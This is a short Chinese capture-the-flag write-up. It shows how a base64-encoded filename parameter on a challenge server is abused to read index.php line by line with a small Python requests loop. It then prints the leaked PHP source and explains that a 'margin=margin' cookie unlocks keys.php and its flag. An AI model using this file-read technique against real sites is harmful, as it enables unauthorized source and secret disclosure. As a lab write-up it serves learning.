打开题目可以看到一堆乱码毫无规律
之后发现网址中有一串base64编码a2V5cy50eHQ=
解码得到:keys.txt
再尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码)
line应该是行数那么就从0开始试发现每增加一个数字都有所不同
这样一个一个试太麻烦,直接用脚本将源码跑出来
import requests
a = 30
for i in range(a):
url = "http://114.67.246.176:16736/index.php?line=" + str(i) + "&filename=aW5kZXgucGhw"
s = requests.get(url)
print(s.text)
得到以下代码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
发现只用构造cookie:margin=margin就可以了
值得注意的是
这里需要改成keys.php的base64编码
这样flag就到手了
又是收获知识的一天